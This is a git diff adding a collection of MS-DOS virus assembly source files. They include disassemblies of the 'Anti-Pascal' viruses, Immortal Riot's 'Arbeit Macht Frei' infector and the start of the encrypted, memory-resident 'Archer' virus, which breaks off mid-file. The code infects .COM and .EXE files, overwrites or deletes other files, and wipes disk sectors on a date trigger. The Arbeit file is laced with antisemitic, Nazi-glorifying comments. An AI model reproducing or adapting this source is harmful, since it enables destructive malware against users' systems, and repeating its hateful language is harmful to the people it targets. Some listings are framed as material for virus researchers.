+ mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/a/AP-529.ASM b/a/AP-529.ASM new file mode 100755 index 0000000..2f64888 --- /dev/null +++ b/a/AP-529.ASM @@ -0,0 +1,341 @@ + page ,132 + name AP529 + title AP529 - The 'Anti-Pascal' Virus, version AP-529 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus, version AP-529 +; Disassembled by Vesselin Bontchev, June 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code,ds:code + + org 100 + +vlen = v_end-start +crit equ 12 ; Address of the original INT 24h handler + +start: + push ax ; Save registers used + push cx + push si + push di + push bx + push flen ; Save current file length + +; The operand of the instruction above is used as a signature by the virus + +sign equ $-2 + + jmp short v_start ; Go to virus start + +flen dw vlen ; File length before infection +f_name db 13d dup (?) ; File name buffer for the rename function call +fmask db '*.' ; Mask for FindFirst/FindNext +fext db 'com', 0 ; The extension part of the file mask +parent db '..', 0 ; Path for changing to the parent dir + +com db 'com' ; File extensions used +bak db 'bak' +pas db 'pas' +wild db '???' +exe db 'exe' + +dta equ $ ; Disk Transfer Address area +drive db ? ;Drive to search for +pattern db 11d dup (?) ;Search pattern +reserve db 9 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 14d dup (?) ;File name found + +mem_seg dw ? ; Segment of the allocated I/O buffer +sizehld dw ? ; Size holder + +v_start: + mov bx,1000 ; Shrink program memory size to 64 K + mov ah,4A + int 21 ; Do it + + mov ah,48 ; Allocate I/O buffer in memory + mov bx,vlen/16d+1 ; (at least vlen long) + int 21 ; Do it + jc cleanup ; Exit on error + mov mem_seg,ax ; Save the segment of the allocated memory + + mov ax,2524 ; Set critical error handler + mov dx,offset int_24 + int 21 ; Do it + + mov ah,1A ; Set new DTA area + mov dx,offset dta + int 21 ; Do it + + mov ah,19 ; Get default drive + int 21 + push ax ; Save it on stack + + call infect ; Proceed with infection + + int 11 ; Put equipment bits in ax + test ax,1 ; Diskette drives present? + jz cleanup ; Exit if not (?!) + + shl ax,1 ; Get number of floppy disk drives + shl ax,1 ; in AH (0-3 means 1-4 drives) + and ah,3 + + add ah,2 ; Convert the number of drives to + mov al,ah ; the range 2-5 and put it into BL + mov bx,ax + xor bh,bh + + cmp bl,3 ; More than 2 floppy drives? + ja many ; Check if the highest one is removable if so + mov bl,3 ; Otherwise check disk C: +many: + mov ax,4408 ; Check whether device is removable + int 21 + jc cleanup ; Exit on error (network) + or ax,ax ; Is device removable? + jz cleanup ; Exit if so + + mov dl,bl ; Otherwise select it as default + dec dl + mov ah,0E + int 21 ; Do it + + call infect ; Proceed with this drive also + +cleanup: + pop dx ; Restore saved default disk from stack + mov ah,0E ; Set default drive + int 21 ; Do it + + pop flen ; Restore flen + + mov es,mem_seg ; Free allocated memory + mov ah,49 + int 21 ; Do it + + mov ah,4A ; Get all the available memory + push ds ; ES := DS + pop es + mov bx,-1 + int 21 ; Do it + + mov ah,4A ; Assign it to the program (the initial state) + int 21 ; Do it + + mov dx,80 ; Restore old DTA + mov ah,1A + int 21 ; Do it + + mov ax,2524 ; Restore old critical error handler + push ds ; Save DS + lds dx,dword ptr ds:[crit] + int 21 ; Do it + pop ds ; Restore DS + + pop bx ; Restore BX + + mov ax,4F ; Copy the program at exit_pgm into + mov es,ax ; the Intra-Aplication Communication + xor di,di ; Area (0000:04F0h) + mov si,offset exit_pgm + mov cx,pgm_end-exit_pgm ; exit_pgm length + cld + rep movsb ; Do it + mov ax,ds ; Correct the Far JMP instruction with + stosw ; the current DS value + + mov di,offset start ; Prepare for moving vlen bytes + mov si,flen ; from file end to start + add si,di + mov cx,vlen + push ds ; ES := DS + pop es +; jmp far ptr 004F:0000 ; Go to exit_pgm + db 0EA, 0, 0, 4F, 0 + +exit_pgm: + rep movsb ; Restore the original bytes of the file + pop di ; Restore registers used + pop si + pop cx + pop ax + db 0EA, 0, 1 ; JMP Far at XXXX:0100 +pgm_end equ $ + +lseek: + mov ah,42 + xor cx,cx ; Offset := 0 + xor dx,dx + int 21 ; Do it + ret ; And exit + +f_first: ; Find first file with extension pointed by SI + mov di,offset fext ; Point DI at extension part of fmask + cld ; Clear direction flag + movsw ; Copy the extension pointed by SI + movsb ; to file mask for FindFirst/FindNext + mov ah,4E ; Find first file matching fmask + mov cx,20 ; Normal files only + mov dx,offset fmask + ret ; Exit + +wr_body: + mov ax,3D02 ; Open file for reading and writing + mov dx,offset namez ; FIle name is in namez + int 21 ; Do it + mov bx,ax ; Save handle in BX + + mov ah,3F ; Read the first vlen bytes of the file + mov cx,vlen ; in the allocated memory buffer + push ds ; Save DS + mov ds,mem_seg + xor dx,dx + int 21 ; Do it + + mov ax,ds:[sign-start] ; Get virus signature + pop ds ; Restore DS + cmp ax,word ptr ds:[offset sign] ; File already infected? + je is_inf ; Exit if so + push ax ; Save AX + mov al,0 ; Lseek to the file beginning + call lseek ; Do it + mov ah,40 ; Write virus body over the + mov dx,offset start ; first bytes of the file + mov cx,sizehld ; Number of bytes to write + int 21 ; Do it + + pop ax ; Restore AX + clc ; CF == 0 means infection successfully done + ret ; Exit +is_inf: + stc ; CF == 1 means file already infected + ret ; Exit + +rename: + push si ; Save SI + mov si,offset namez ; Point SI at file name + mov dx,si ; Point DX there too + mov di,offset f_name ; Point DI at the name buffer + +cpy_name: + lodsb ; Get byte from the file name + stosb ; Store it in the name buffer + cmp al,'.' ; Is all the name (up to the extension) copied? + jne cpy_name ; Loop if not + + pop si ; Restore SI + movsw ; Copy the new extension + movsb ; into the file name buffer + xor al,al ; Make the file name ASCIIZ + stosb ; by placing a zero after it + + mov ah,56 ; Now rename the file to the new extension + mov di,offset f_name + int 21 ; Do it + ret ; Done. Exit + +infect: + mov si,offset com ; Find the first .COM file in this dir + call f_first +f_next2: + int 21 ; Do it + jc pass_2 ; Do damage if no such files + + mov ax,word ptr fsize ; Check the size of the file found + cmp ax,vlen ; Less than virus length? + jb next ; Too small, don't touch + cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? + ja next ; Too big, don't touch + mov flen,ax ; Save file length + mov sizehld,vlen + call wr_body ; Write virus body over the file + jc next ; Exit on error + mov al,2 ; Lseek to file end + call lseek ; Do it + push ds ; Save DS + mov ds,mem_seg ; Write the original bytes from + mov cx,vlen ; the file beginning after its end + xor dx,dx + mov ah,40 + int 21 ; Do it + pop ds ; Restore DS + +close: + mov ah,3E ; Close the file handle + int 21 ; Do it + ret ; And exit + +next: + call close ; Close the file + mov ah,4F ; And go find another one + jmp f_next2 + +pass_2: + mov si,offset bak ; Find a *.BAK file + call f_first ; Do it + int 21 + jc pas_srch ; On error search for *.PAS files + mov dx,offset namez ; Otherwise delete the file + mov ah,41 ; Do it + int 21 + +pas_srch: + mov si,offset pas ; Find a *.PAS file + call f_first ; Do it + int 21 + jc inf_xit ; Exit on error + + mov ax,word ptr fsize + mov sizehld,ax ; Save file size + call wr_body ; Overwrite the file with the virus body + call close ; Close it + mov si,offset com ; Try to rename it as a .COM file + call rename ; Do it + jnc inf_xit ; Exit if renaming OK + mov si,offset exe ; Otherwise try to rename it as an .EXE file + call rename ; Do it + jnc inf_xit ; Exit if renaming OK + mov ah,41 ; Otherwise just delete that stupid file + int 21 ; Do it +inf_xit: + ret ; And exit + +int_24: ; Critical error handler + mov al,2 ; Abort suggested (?!) + iret ; Return + +v_end = $ + +; Here goes the rest of the original program (if any): + +; And here (after the end of file) are the overwritten first 529 bytes: + + jmp quit ; The original "program" + + db (529d - 8) dup (90) + +quit: + mov ax,4C00 ; Just exit + int 21 + +code ends + end start + \ No newline at end of file diff --git a/a/AP-605 (21).ASM b/a/AP-605 (21).ASM new file mode 100755 index 0000000..9a8f134 --- /dev/null +++ b/a/AP-605 (21).ASM @@ -0,0 +1,391 @@ + page ,132 + name V605 + title V605 - The 'Anti-Pascal' Virus + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus +; Disassembled by Vesselin Bontchev, June 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code,ds:code + + org 100 + +vlen = v_end-start +crit equ 12 + +start: + push ax ; Save registers used + push cx + push si + push di + push bx + push flen ; Save current file length + +; The operand of the instruction above is used as a signature by the virus + +sign equ $-2 + + jmp v_start ; Go to virus start + +flen dw vlen ; File length before infection +fmask db '*.' ; Mask for FindFirst/FindNext +fext db 'com', 0 ; The extension part of the file mask +parent db '..', 0 ; Path for changing to the parent dir + +com db 'com' ; File extensions used +bak db 'bak' +pas db 'pas' +wild db '???' +exe db 'exe' + +dta equ $ ; Disk Transfer Address area +drive db ? ;Drive to search for +pattern db 11d dup (?) ;Search pattern +reserve db 9 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 14d dup (?) ;File name found + +counter db ? +mem_seg dw ? ; Segment of the allocated I/O buffer +sizehld dw ? ; Size holder + +v_start: + mov counter,2 ; Set initial counter value + mov bx,1000 ; Shrink program memory size to 64 K + mov ah,4A + int 21 ; Do it + + mov ah,48 ; Allocate I/O buffer in memory + mov bx,vlen/16d+1 ; (at least vlen long) + int 21 ; Do it + jc cleanup ; Exit on error + mov mem_seg,ax ; Save the segment of the allocated memory + + mov ax,2524 ; Set critical error handler + mov dx,offset int_24 + int 21 ; Do it + + mov ah,1A ; Set new DTA area + mov dx,offset dta + int 21 ; Do it + + mov ah,19 ; Get default drive + int 21 + push ax ; Save it on stack + + call infect ; Proceed with infection + jc cleanup ; Exit on error + + int 11 ; Put equipment bits in ax + test ax,1 ; Diskette drives present? + jz cleanup ; Exit if not (?!) + + shl ax,1 ; Get number of floppy disk drives + shl ax,1 ; in AH (0-3 means 1-4 drives) + and ah,3 + + add ah,2 ; Convert the number of drives to + mov al,ah ; the range 2-5 and put it into BL + mov bx,ax + xor bh,bh + + cmp bl,3 ; More than 2 floppy drives? + ja many ; Check if the highest one is removable if so + mov bl,3 ; Otherwise check disk D: +many: + mov ax,4408 ; Check whether device is removable + int 21 + jc cleanup ; Exit on error (network) + or ax,ax ; Is device removable? + jz cleanup ; Exit if so + + mov dl,bl ; Otherwise select it as default + mov ah,0E + int 21 ; Do it + + call infect ; Proceed with this drive also + +cleanup: + pop dx ; Restore saved default disk from stack + mov ah,0E ; Set default drive + int 21 ; Do it + + pop flen ; Restore flen + + mov es,mem_seg ; Free allocated memory + mov ah,49 + int 21 ; Do it + + mov ah,4A ; Get all the available memory + push ds ; ES := DS + pop es + mov bx,-1 + int 21 ; Do it + + mov ah,4A ; Assign it to the program (the initial state) + int 21 ; Do it + + mov dx,80 ; Restore old DTA + mov ah,1A + int 21 ; Do it + + mov ax,2524 ; Restore old critical error handler + push ds ; Save DS + lds dx,dword ptr ds:[crit] + int 21 ; Do it + pop ds ; Restore DS + + pop bx ; Restore BX + + mov ax,4F ; Copy the program at exit_pgm into + mov es,ax ; the Intra-Aplication Communication + xor di,di ; Area (0000:04F0h) + mov si,offset exit_pgm + mov cx,pgm_end-exit_pgm ; exit_pgm length + cld + rep movsb ; Do it + mov ax,ds ; Correct the Far JMP instruction with + stosw ; the current DS value + + mov di,offset start ; Prepare for moving vlen bytes + mov si,flen ; from file end to start + add si,di + mov cx,vlen + push ds ; ES := DS + pop es +; jmp far ptr 004F:0000 ; Go to exit_pgm + db 0EA, 0, 0, 4F, 0 + +exit_pgm: + rep movsb ; Restore the original bytes of the file + pop di ; Restore registers used + pop si + pop cx + pop ax + db 0EA, 0, 1 ; JMP Far at XXXX:0100 +pgm_end equ $ + +lseek: + mov ah,42 + xor cx,cx ; Offset := 0 + xor dx,dx + int 21 ; Do it + ret ; And exit + +f_first: ; Find first file with extension pointed by SI + mov di,offset fext ; Point DI at extension part of fmask + cld ; Clear direction flag + movsw ; Copy the extension pointed by SI + movsb ; to file mask for FindFirst/FindNext + mov ah,4E ; Find first file matching fmask + mov cx,20 ; Normal files only + mov dx,offset fmask + ret ; Exit + +wr_body: + mov ax,3D02 ; Open file for reading and writing + mov dx,offset namez ; FIle name is in namez + int 21 ; Do it + mov bx,ax ; Save handle in BX + + mov ah,3F ; Read the first vlen bytes of the file + mov cx,vlen ; in the allocated memory buffer + push ds ; Save DS + mov ds,mem_seg + xor dx,dx + int 21 ; Do it + + mov ax,ds:[sign-start] ; Get virus signature + pop ds ; Restore DS + cmp ax,word ptr ds:[offset sign] ; File already infected? + je is_inf ; Exit if so + push ax ; Save AX + mov al,0 ; Lseek to the file beginning + call lseek ; Do it + mov ah,40 ; Write virus body over the + mov dx,offset start ; first bytes of the file + mov cx,sizehld ; Number of bytes to write + int 21 ; Do it + + pop ax ; Restore AX + dec counter ; Decrement counter + clc ; CF == 0 means infection successfully done + ret ; Exit +is_inf: + stc ; CF == 1 means file already infected + ret ; Exit + +destroy: + call f_first ; Find first file to detroy +f_next1: + int 21 ; Do it + jc no_more1 ; Exit if no more files + + mov ax,word ptr fsize ; Get file size + mov sizehld,ax ; And save it in sizehld + call wr_body ; Write virus body over the file + jc close1 ; Exit on error + mov si,offset com ; Change fmask to '*.COM' + call f_first ; Do it + mov ah,56 ; Rename file just destroyed as a .COM one + mov di,dx + mov dx,offset namez ; File name to rename + int 21 ; Do it + +; The RENAME function call will fall if file with this name already exists. + + jnc close1 ; Exit if all is OK + + mov si,offset exe ; Otherwise try to rename the file + call f_first ; as an .EXE one + mov ah,56 + int 21 ; Do it + +close1: + mov ah,3E ; Close the file handle + int 21 ; Do it + + cmp counter,0 ; Two files already infected? + je stop ; Stop if so + mov ah,4F ; Other wise proceed with the next file + jmp f_next1 + +; Here the returned error code in CF means: +; 0 - renaming unsuccessful +; 1 - renaming successful + +stop: + clc +no_more1: + cmc ; Complement CF (CF := not CF) + ret + +infect: + mov si,offset com ; Find the first .COM file in this dir + call f_first +f_next2: + int 21 ; Do it + jc do_damage ; Do damage if no such files + + mov ax,word ptr fsize ; Check the size of the file found + cmp ax,vlen ; Less than virus length? + jb close2 ; Too small, don't touch + cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? + ja close2 ; Too big, don't touch + mov flen,ax ; Save file length + mov sizehld,vlen + call wr_body ; Write virus body over the file + jc close2 ; Exit on error + cmp ax,6F43 ; ?! + je close2 + mov al,2 ; Lseek to file end + call lseek ; Do it + push ds ; Save DS + mov ds,mem_seg ; Write the original bytes from + mov cx,vlen ; the file beginning after its end + xor dx,dx + mov ah,40 + int 21 ; Do it + pop ds ; Restore DS + +close2: + mov ah,3E ; Close the file handle + int 21 ; Do it + + mov ah,4F ; Prepare for FindNext + cmp counter,0 ; Two files already infected? + jne f_next2 ; Continue if not + stc ; Otherwise set CF to indicate error +err_xit: + ret ; And exit + +do_damage: + mov si,offset bak ; Try to "infect" and rename a .BAK file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset pas ; Try to "infect" and rename a .PAS file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset wild ; Otherwise perform a subdirectory scan + call f_first + mov cx,110111b ; Find any ReadOnly/Hidden/System/Dir/Archive + +f_next3: + int 21 ; Do it + jc no_more2 ; Exit if no more + mov al,attrib ; Check attributes of the file found + test al,10000b ; Is it a directory? + jz bad_file ; Skip it if not + mov di,offset namez ; Otherwise get its name + cmp byte ptr [di],'.' ; "." or ".."? + je bad_file ; Skip it if so + mov dx,di ; Otherwise change to that subdirectory + mov ah,3Bh + int 21 ; Do it + + mov cx,16 ; Save the 44 bytes of dta on stack + mov si,offset dta ; Point SI at the first word of dta +lp1: + push word ptr [si] ; Push the current word + add si,2 ; Point SI at the next one + loop lp1 ; Loop until done + + call infect ; Preform infection on this subdirectory + + mov cx,16 ; Restore the bytes pushed + mov si,offset counter-2 ; Point SI at the last word of dta +lp2: + pop word ptr [si] ; Pop the current word from stack + sub si,2 ; Point SI at the previous word + loop lp2 ; Loop until done + + pushf ; Save flags + mov dx,offset parent + mov ah,3Bh ; Change to parent directory + int 21 ; Do it + popf ; Restore flags + jc err_xit ; Exit if infection done + +bad_file: + mov ah,4F ; Go find the next file + jmp f_next3 + +no_more2: + clc ; Return CF == 0 (no errors) + ret ; Exit + +int_24: ; Critical error handler + mov al,2 ; Abort suggested (?!) + iret ; Return + +v_end = $ + +; Here goes the rest of the original program (if any): + +; And here (after the end of file) are the overwritten first 650 bytes: + + db 0E9, 55, 2 + db 597d dup (90) + mov ax,4C00 ; Program terminate + int 21 + +code ends + end start + + \ No newline at end of file diff --git a/a/ARBEIT.ASM b/a/ARBEIT.ASM new file mode 100755 index 0000000..af60e73 --- /dev/null +++ b/a/ARBEIT.ASM @@ -0,0 +1,290 @@ +; VirusName: Arbeit Macht Frei! +; Country : Sweden +; Author : The Unforgiven / Immortal Riot +; Date : 01/10-1993 +; +; +; This is a mutation of the Seventh son of a seventh son virus. +; Metal Militia mutated this one for the first issue of our +; magazine, (Insane Reality), but here comes my contribution.. +; +; This is a non-owervriting .COM infector, the infected +; files will grow with 426 bytes. It's kinda big, of the +; reasons of "all" new routines included.. +; +; The virus will check what day it is, and if it's the first +; any month, the virus will overwrite sectors on Drive C and D. +; +; The Fileattributes (Date/Time) will be saved, and +; restored after the virus has infected a file. +; +; I've also added a "Dot-Dot" routine, so the virus will +; not just infect the files in the current directory as +; the original one did. It don't got any encryption, but +; I ain't embarrased of showing my name ...... +; +; Scan v108 can't find this, neither can S&S Toolkit 6.54, +; F-Prot finds it, and TBScan thinks it's a Unknown virus. +; +; ----------- +; ARBEIT MACHT FREI +; ----------- +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + +FILELEN equ quit - start +MINTARGET equ 1000 ; 250*4 huh?.. +MAXTARGET equ -(FILELEN+40h) ; FileLenght + writing in file + + org 100h + + .RADIX 16 + +; ----------- +; Dummy program (infected) +; ----------- +begin: db 4Dh ; Virus-Marker + jmp start ; Jump to next procedure + +; ----------- +; Begin of the virus +; ----------- +start: call start2 ; Call next procedure + add ax,dx ; Adding this line, and S&S + ; Toolkit's findviru bites the dust + +start2: pop bp + sub bp,0103h + + lea si,[bp+offset begbuf-4] ;restore begin of jew + mov di,0100h + movsw + movsw + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + mov dx,offset ni24 - 4 ;set new int24 vector + add dx,bp + mov ax,2524h + int 21 + + lea dx,[bp+offset quit] ;set new DTA adres + mov ah,1Ah + int 21 + add dx,1Eh + mov word ptr [bp+offset nameptr-4],dx + + lea si,[bp+offset grandfather-4] ;check youngest jew + cmp [si],0606h + jne verder + + lea dx,[bp+offset sontxt-4] ;Arbeit Jew! + mov ah,09h + int 21 + +verder: mov ax,[si] ;Komme Hier! + xchg ah,al + xor al,al + mov [si],ax + + lea dx,[bp+offset filename-4] ;Find first Jew! + xor cx,cx + mov ah,4Eh + int 21 + +infloop: mov dx,word ptr [bp+offset nameptr-4] + call infect + + mov ah,4Fh ;find Next Jew! + int 21 + jnc infloop + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + push cs + push cs + pop ds + pop es + mov ax,0100h ;put old start-adres on stack + push ax + ret + +; ----------- +; Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +; ----------- +infect: + cld + + mov ax,4300h ;ask attributes + int 21 + push cx + + xor cx,cx ;clear flags + call setattr + jc return1 + + mov ax,3D02h ;Cut up the Jew! + int 21 + jc return1 + xchg bx,ax + + mov ax,5700h ;get jew's date & time + int 21 + push cx + push dx + + mov cx,4 ;read begin of the jew + lea dx,[bp+offset begbuf-4] + mov ah,3fh + int 21 + + mov al,byte ptr [bp+begbuf-4] ;infected Jew? + cmp al,4Dh + je return2 + cmp al,5Ah ;or a weird EXE + je return2 + + call endptr ;get jew-length (cm) + + cmp ax,MAXTARGET ;check length of jew + jnb return2 + cmp ax,MINTARGET + jbe return2 + + push ax + mov cx,FILELEN ;write program to end of jew! + lea dx,[bp+offset start-4] + mov ah,40h + int 21 + cmp ax,cx ;are all bytes written? + pop ax + jnz return2 + + sub ax,4 ;calculate new start-adres + mov word ptr [bp+newbeg-2],ax + + call beginptr ;write new begin of jew! + mov cx,4 + lea dx,[bp+offset newbeg-4] + mov ah,40h + int 21 + + inc byte ptr [si] ;Jew 'Serial' Number.. + +; ----------- +; 'Dot-Dot' +; ----------- + MOV DX,OFFSET point_point ; '..' + MOV AH,3BH ; + INT 21h ; + +return2: pop dx ;restore jew date & time + pop cx + mov ax,5701h + int 21 + + mov ah,3Eh ;close the jew! + int 21 + +return1: + call daycheck + pop cx ;restore jew-attribute + ret + +; ----------- +; DayChecker +; ----------- +daycheck: ; + mov ah,2ah ; Check for day + int 21h ; + cmp dl,01 ; Check for the first any month + je Hitler ; Day=01=Heil Hitler! + jmp Setattr ; Jump to 'Setattr'.. + +; ----------- +; Play Around with Drive C a while +; ----------- +Hitler: ; Did quite a good job.. + cli ; Cuz NoOne escaped! + mov ah,2 ; (C:) ; Kill m all! + cwd ; Killing from 0 + mov cx,0100h ; Continue to 256 + int 026h ; No Rescue! + jmp Auschwitz ; Travel by train + +; ----------- +; Hitler has send your drive D to Auschwitz +; ----------- +Auschwitz: ; There they're killed.. + MOV AL,3 ; (D:) ; Choose D-Drive + MOV CX,700 ; Kill 700 of them! + MOV DX,00 ; Start with the first + MOV DS,[DI+99] ; Machine Gun.. + MOV BX,[DI+55] ; Tortue Chamber.. + call hitler ; Start it over! + +; ----------- +; Set Attributes (Date/Time) +; ----------- +setattr: mov dx,word ptr [bp+offset nameptr-4] + mov ax,4301h + int 21 + ret + +; ----------- +; Subroutines for file-pointer +; ----------- +beginptr: mov ax,4200h ;go to begin of jew + jmp short ptrvrdr + +endptr: mov ax,4202h ;go to end of jew +ptrvrdr: xor cx,cx + xor dx,dx + int 21 + ret + +; ----------- +; Interupt handler 24 +; ----------- +ni24: mov al,03 + iret + +; ----------- +; Data +; ----------- +begbuf db 0CDh, 20h, 0, 0 +newbeg db 4Dh, 0E9h, 0, 0 +nameptr dw ? +sontxt db ' ARBEIT MACHT FREI! ',0Dh, 0Ah, '$';mutation name + db ' The Unforgiven / Immortal Riot ' ;that's me! + db ' Sweden 01/10/93 ' +grandfather db 0 +father db 0 +filename db '*.COM',0 ; jew-Spec! +point_point db '..',0 ; 'dot-dot' +quit: + +cseg ends + end begin + +; Greetings goes out to Raver, Metal Miltia, Scavenger +; to our mighty Hitler, and of-cuz all the Neo-Nazis!! +; Remember..Arbeit Macht Frei! / The Unforgiven / \ No newline at end of file diff --git a/a/ARCHER.ASM b/a/ARCHER.ASM new file mode 100755 index 0000000..d2ca8e4 --- /dev/null +++ b/a/ARCHER.ASM @@ -0,0 +1,455 @@ +; archer.asm : [Archer] MnemoniX `94 +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0AE3Bh +PONG equ 0CD28h +STAMP equ 30 +MARKER equ 04D4Dh + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + db 0BBh ; decryption module +code_offset dw offset virus_code + mov dx,VIRUS_SIZE / 2 + 1 + +decrypt: + db 02Eh,081h,07h ; ADD CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024 + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + mov sp,[bp + exe_sp] ; restore SP + + call fix_regs ; fix up registers + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SP + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ax,4B00h ; execute program + je execute + cmp ah,3Dh ; file open + je file_open + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov bx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + add dx,103h + call encrypt_code ; encrypt virus + + mov dx,offset read_buffer ; save original program head + int 21h + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP ; for directory stealth + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + mov ax,word ptr read_buffer[16] + mov exe_sp,ax ; SP 